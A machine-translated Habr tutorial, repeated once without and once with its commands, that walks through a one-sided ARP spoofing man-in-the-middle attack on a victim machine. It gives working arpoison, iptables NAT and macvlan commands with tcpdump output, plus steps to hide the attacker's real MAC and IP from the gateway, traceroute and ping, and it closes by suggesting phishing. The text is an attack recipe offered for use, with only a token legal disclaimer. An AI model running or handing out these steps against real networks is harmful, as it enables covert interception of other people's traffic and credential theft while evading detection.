Another way to intercept traffic through ARP Spoofing
On Habré there were already many articles on the subject of classic ARP spoofing, but all of them were similar in that in order to fully capture the traffic, it was necessary to replace ARP entries from two machines. This is usually the victim and its default gateway. However, the idea of spoofing the gateway is not always good. He may well have an attack detector on board, which in two accounts will report to the admin that the network is being broken and the freebie will end before it starts. This article will discuss the method of intercepting traffic, in which an attack is made only on the host victim. As usual in such cases, the article is purely for reference, use to the detriment is punishable by law, etc.
There are many letters under the cut.
At once I will make a reservation that for attacks Linux will be used. Network security professionals, please do not hit with your feet.
')
When writing an article, I will proceed from the fact that the reader at least roughly knows who the ARP is, why, and how it works. You can read here . In short, ARP is used to understand which physical MAC address to send the packet to if the recipient's IP is known. Accordingly, by replacing the real MAC address of a certain node with your victim's ARP table, we will ensure that the victim sends packets for such a node to us. We can both send such packages directly to the present recipient, or change them on the fly before sending. There is one problem here. If you simply forward the packets further, then we will see only half of the traffic, since the recipient will send the response directly to the victim. Usually, to solve this problem, the recipient is made the second victim and is subjected to a symmetric attack. But on the other hand, you usually want to intercept the victim’s Internet traffic, which means that the network gateway will be the recipient. And if this gateway is not a simple home router, but something more serious, then an ARP attack on it is highly undesirable.
So, let us want to intercept the traffic of the victim, while we can send "obviously fake" packets only to the victim's car. The solution is to enable NAT on your machine and send traffic to the gateway from your interface instead of direct forwarding. In this case, we work for the victim as another NAT gateway.
Let there be a network 192.168.0.0/24 with a gateway 192.168.0.1 . For convenience, let the MAC addresses of adapters be 00-00-00-00-00-XX , where XX is the last digit of the IP address, that is, the MAC gateway will be 00-00-00-00-00-01 .
There are cars in the network:
192.168.0.1 / 00-00-00-00-00-01 - gateway
192.168.0.3 / 00-00-00-00-00-03 - victim
eth0 - 192.168.0.5 / 00-00-00-00-00-05 - our machine with which we will attack. A single eth0 network interface is connected to the network.
For ARP spoofing, we will use the arpoison utility. It, in contrast to the arpspoof from the dsniff package, does not require the correct IP configuration of the interface from which spoofing occurs (we will need this later).
So, let's begin with the packet routing:
Now let's run ARP spoofing:
all, the victim's car is now sure that 192.168.0.1 is our eth0. You can check and verify (perform on the victim):
let us raise NAT on our machine (for simplicity, it will disguise everything that is forwarded and sent not to localhost):
is ready. We check, pinging the gateway from the victim, on our machine we see something like this:
it is clear that ping came to us, from us from our IP went to the gateway, and the returning answer went to the sender. In short, the usual NAT.
We intercepted the traffic, but managed to light up our IP and MAC, which will allow us to take a soft spot when we first open the wireshark on the victim or when viewing the logs on the gateway. Let's try to repeat the focus, but at the same time inherit a smaller one. To do this, we will raise a virtual adapter with a different MAC and IP.
We create the adapter, it will receive a random MAC, even if we have it 00-00-00-00-00-06:
we will register the IP address or we will take it on DHCP. In the second case, after receiving the address, do not forget to throw out all the routes through virt0:
after such manipulations, we should have an adapter virt0 with MAC 00-00-00-00-00-06 and IP 192.168.0.6 and without a single route through it.
The next step is to add a routing rule whereby all packets that come with virt0 will be forwarded through it:
Now you can run the spoofing and see what happened:
At first glance, everything is beautiful, but we lit up our real MAC. This happened because on ARP request, what MAC from 192.168.0.6 our machine happily answered the gateway with the real address of the network card. To avoid this, do the following:
now only real adapter will respond to ARP requests. It remains to solve the problem of delivering the MAC address of the virtual adapter to the gateway. You can do this for example with the same arpoison, specifying the real addresses and a larger interval. In this case, such ARP responses should not raise suspicion:
that's all, now the gateway knows where to send the response and the picture becomes beautiful:
Remained a little. First, prevent the system from accepting incoming (not forwarded) packets on the virtual interface, so that someone curious does not compare the list of services to 192.168.0.6 and 192.168.0.5
Secondly (thanks to AEP ), disable sending ICMP time exceeded in-transit so that our real address does not appear in the traceroute
Thirdly (thanks to kay ) add an increase in TTL so that on the pings and traceroute the fact of routing through us is not visible
As a result, we managed to intercept traffic, attacking only the victim's car, without lightening its real IP and MAC. The intercepted packets are routed by standard means. You can also set up more fun routing rules, open a port on virt0 80 and practice phishing, but that's another story.
UPD: it would be interesting to read in the comments how such a scheme can still be set on fire without having l3 routing on the network.
There are many letters under the cut.
At once I will make a reservation that for attacks Linux will be used. Network security professionals, please do not hit with your feet.
')
A little bit about ARP
When writing an article, I will proceed from the fact that the reader at least roughly knows who the ARP is, why, and how it works. You can read here . In short, ARP is used to understand which physical MAC address to send the packet to if the recipient's IP is known. Accordingly, by replacing the real MAC address of a certain node with your victim's ARP table, we will ensure that the victim sends packets for such a node to us. We can both send such packages directly to the present recipient, or change them on the fly before sending. There is one problem here. If you simply forward the packets further, then we will see only half of the traffic, since the recipient will send the response directly to the victim. Usually, to solve this problem, the recipient is made the second victim and is subjected to a symmetric attack. But on the other hand, you usually want to intercept the victim’s Internet traffic, which means that the network gateway will be the recipient. And if this gateway is not a simple home router, but something more serious, then an ARP attack on it is highly undesirable.
Simple attack option
So, let us want to intercept the traffic of the victim, while we can send "obviously fake" packets only to the victim's car. The solution is to enable NAT on your machine and send traffic to the gateway from your interface instead of direct forwarding. In this case, we work for the victim as another NAT gateway.
Network configuration
Let there be a network 192.168.0.0/24 with a gateway 192.168.0.1 . For convenience, let the MAC addresses of adapters be 00-00-00-00-00-XX , where XX is the last digit of the IP address, that is, the MAC gateway will be 00-00-00-00-00-01 .
There are cars in the network:
192.168.0.1 / 00-00-00-00-00-01 - gateway
192.168.0.3 / 00-00-00-00-00-03 - victim
eth0 - 192.168.0.5 / 00-00-00-00-00-05 - our machine with which we will attack. A single eth0 network interface is connected to the network.
Utilities
For ARP spoofing, we will use the arpoison utility. It, in contrast to the arpspoof from the dsniff package, does not require the correct IP configuration of the interface from which spoofing occurs (we will need this later).
Go
So, let's begin with the packet routing:
# sysctl net.ipv4.ip_forward = 1 # iptables -A FORWARD -j ACCEPT
Now let's run ARP spoofing:
# arpoison -i eth0 -d 192.168.0.3 -s 192.168.0.1 -t 00: 00: 00: 00: 00: 03 -r 00: 00: 00: 00: 00: 05 ARP reply 1 sent via eth0 ARP reply 2 sent via eth0 ARP reply 3 sent via eth0
all, the victim's car is now sure that 192.168.0.1 is our eth0. You can check and verify (perform on the victim):
# arp Address HWtype HWaddress Flags Mask Iface 192.168.0.1 ether 00: 00: 00: 00: 00: 05 C eth0
let us raise NAT on our machine (for simplicity, it will disguise everything that is forwarded and sent not to localhost):
# iptables -t nat -A POSTROUTING! -d 127.0.0.1/8 -j MASQUERADE
is ready. We check, pinging the gateway from the victim, on our machine we see something like this:
# tcpdump -i eth0 -ne icmp 14: 26: 25.356528 00: 00: 00: 00: 00: 03> 00: 00: 00: 00: 00: 05, ethertype IPv4 (0x0800), length 98: 192.168.0.3> 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64 14: 26: 25.356578 00: 00: 00: 00: 00: 05> 00: 00: 00: 00: 00: 01, ethertype IPv4 (0x0800), length 98: 192.168.0.5> 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64 14: 26: 25.356796 00: 00: 00: 00: 00: 01> 00: 00: 00: 00: 00: 05, ethertype IPv4 (0x0800), length 98: 192.168.0.1> 192.168.0.5: ICMP echo reply, id 35670, seq 320, length 64 14: 26: 25.356835 00: 00: 00: 00: 00: 05> 00: 00: 00: 00: 00: 03, ethertype IPv4 (0x0800), length 98: 192.168.0.1> 192.168.0.3: ICMP echo reply, id 35670, seq 320, length 64
it is clear that ping came to us, from us from our IP went to the gateway, and the returning answer went to the sender. In short, the usual NAT.
Complicate the task
We intercepted the traffic, but managed to light up our IP and MAC, which will allow us to take a soft spot when we first open the wireshark on the victim or when viewing the logs on the gateway. Let's try to repeat the focus, but at the same time inherit a smaller one. To do this, we will raise a virtual adapter with a different MAC and IP.
We create the adapter, it will receive a random MAC, even if we have it 00-00-00-00-00-06:
# ip link add link eth0 dev virt0 type macvlan
# ifconfig virt0 up
# ifconfig virt0
virt0: flags = 4098 <BROADCAST, MULTICAST> mtu 1500
ether 00: 00: 00: 00: 00: 06 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
we will register the IP address or we will take it on DHCP. In the second case, after receiving the address, do not forget to throw out all the routes through virt0:
# dhcpcd virt0 dhcpcd [28920]: version 6.3.2 starting dhcpcd [28920]: DUID 00: 01: 00: 01: 19: 9d: 11: 86: 00: 00: 00: 00: 00: 05 dhcpcd [28920]: virt0: IAID 00: e8: 8a: 01 dhcpcd [28920]: virt0: soliciting an IPv6 router dhcpcd [28920]: virt0: soliciting a DHCP lease dhcpcd [28920]: virt0: offered 192.168.0.6 from 192.168.0.1 dhcpcd [28920]: virt0: leased 192.168.0.6 for 3600 seconds dhcpcd [28920]: virt0: adding route to 192.168.0.0/24 dhcpcd [28920]: virt9: adding default route via 192.168.0.1 dhcpcd [28920]: forked to background, child pid 29059 # dhcpcd -x virt0 dhcpcd [29192]: sending signal TERM to pid 29059 dhcpcd [29192]: waiting for pid 29059 to exit # ifconfig virt0 down # ifconfig virt0 up
after such manipulations, we should have an adapter virt0 with MAC 00-00-00-00-00-06 and IP 192.168.0.6 and without a single route through it.
The next step is to add a routing rule whereby all packets that come with virt0 will be forwarded through it:
# ip route add 192.168.0.0/24 dev virt0 table 100 # ip rule add iif virt0 lookup 100 # ip route show table 100 192.168.0.0/24 dev virt0 scope link # ip rule 0: from all lookup local 32765: from all iif virt0 lookup 100 32766: from all lookup main 32767: from all lookup default
Now you can run the spoofing and see what happened:
# arpoison -i virt0 -d 192.168.0.3 -s 192.168.0.1 -t 00: 00: 00: 00: 00: 03 -r 00: 00: 00: 00: 00: 06
# tcpdump -i eth0 -ne icmp 14: 26: 25.356528 00: 00: 00: 00: 00: 03> 00: 00: 00: 00: 00: 06, ethertype IPv4 (0x0800), length 98: 192.168.0.3> 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64 14: 26: 25.356578 00: 00: 00: 00: 00: 06> 00: 00: 00: 00: 00: 01, ethertype IPv4 (0x0800), length 98: 192.168.0.6> 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64 14: 26: 25.356796 00: 00: 00: 00: 00: 01> 00: 00: 00: 00: 00: 05, ethertype IPv4 (0x0800), length 98: 192.168.0.1> 192.168.0.6: ICMP echo reply, id 35670, seq 320, length 64 14: 26: 25.356835 00: 00: 00: 00: 00: 05> 00: 00: 00: 00: 00: 03, ethertype IPv4 (0x0800), length 98: 192.168.0.1> 192.168.0.3: ICMP echo reply, id 35670, seq 320, length 64
At first glance, everything is beautiful, but we lit up our real MAC. This happened because on ARP request, what MAC from 192.168.0.6 our machine happily answered the gateway with the real address of the network card. To avoid this, do the following:
# sysctl net.ipv4.conf.all.arp_ignore = 1
now only real adapter will respond to ARP requests. It remains to solve the problem of delivering the MAC address of the virtual adapter to the gateway. You can do this for example with the same arpoison, specifying the real addresses and a larger interval. In this case, such ARP responses should not raise suspicion:
# arpoison -i virt0 -d 192.168.0.1 -s 192.168.0.6 -t 00: 00: 00: 00: 00: 01 -r 00: 00: 00: 00: 00: 06 -w 5
that's all, now the gateway knows where to send the response and the picture becomes beautiful:
# tcpdump -i eth0 -ne icmp 14: 26: 25.356528 00: 00: 00: 00: 00: 03> 00: 00: 00: 00: 00: 06, ethertype IPv4 (0x0800), length 98: 192.168.0.3> 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64 14: 26: 25.356578 00: 00: 00: 00: 00: 06> 00: 00: 00: 00: 00: 01, ethertype IPv4 (0x0800), length 98: 192.168.0.6> 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64 14: 26: 25.356796 00: 00: 00: 00: 00: 01> 00: 00: 00: 00: 00: 06, ethertype IPv4 (0x0800), length 98: 192.168.0.1> 192.168.0.6: ICMP echo reply, id 35670, seq 320, length 64 14: 26: 25.356835 00: 00: 00: 00: 00: 06> 00: 00: 00: 00: 00: 03, ethertype IPv4 (0x0800), length 98: 192.168.0.1> 192.168.0.3: ICMP echo reply, id 35670, seq 320, length 64
Remained a little. First, prevent the system from accepting incoming (not forwarded) packets on the virtual interface, so that someone curious does not compare the list of services to 192.168.0.6 and 192.168.0.5
# iptables -A INPUT -i virt0 -j DROP
Secondly (thanks to AEP ), disable sending ICMP time exceeded in-transit so that our real address does not appear in the traceroute
# iptables -A OUTPUT -p icmp - icmp-type 11 -j DROP
Thirdly (thanks to kay ) add an increase in TTL so that on the pings and traceroute the fact of routing through us is not visible
# iptables -t mangle -A PREROUTING -i virt0 -j TTL --ttl-inc 1
Instead of conclusion
As a result, we managed to intercept traffic, attacking only the victim's car, without lightening its real IP and MAC. The intercepted packets are routed by standard means. You can also set up more fun routing rules, open a port on virt0 80 and practice phishing, but that's another story.
UPD: it would be interesting to read in the comments how such a scheme can still be set on fire without having l3 routing on the network.
Source: https://habr.com/ru/post/226679/
All Articles